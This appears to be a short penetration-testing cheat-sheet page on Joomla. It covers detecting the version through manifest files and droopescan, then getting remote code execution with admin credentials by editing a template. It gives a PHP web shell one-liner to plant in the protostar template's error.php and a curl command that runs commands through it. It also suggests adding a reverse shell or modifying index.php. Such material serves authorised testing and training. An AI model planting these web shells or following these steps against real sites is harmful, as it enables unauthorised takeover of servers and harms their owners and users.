Check Version

  • In /administrator/manifests/files/joomla.xml you can see the version.

  • In /language/en-GB/en-GB.xml you can get the version of Joomla.

  • In plugins/system/cache/cache.xml you can see an approximate version.

  • Yo can also do it automatically using droopscan:

droopescan scan joomla --url http://joomla-site.local/

Joomla database

RCE

If you managed to get admin credentials you can RCE inside of it by adding a snippet of PHP code to gain RCE. We can do this by customizing a template.

  1. Click on Templates on the bottom left under Configuration to pull up the templates menu.
  2. Click on a template name. Letโ€™s choose protostar under the Template column header. This will bring us to the Templates: Customise page.

  1. Finally, you can click on a page to pull up the page source. Letโ€™s choose the error.php page. Weโ€™ll add a PHP one-liner to gain code execution as follows:
<?php system($_GET['cmd']); ?>
  1. Save & Close
  2. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

Note

You can also add in that code a reverse shell like Pentest Monkey one Make sure to check Reverse shells ๐Ÿ‘พ

Another way

  • Modify the index.php adding there your reverse shell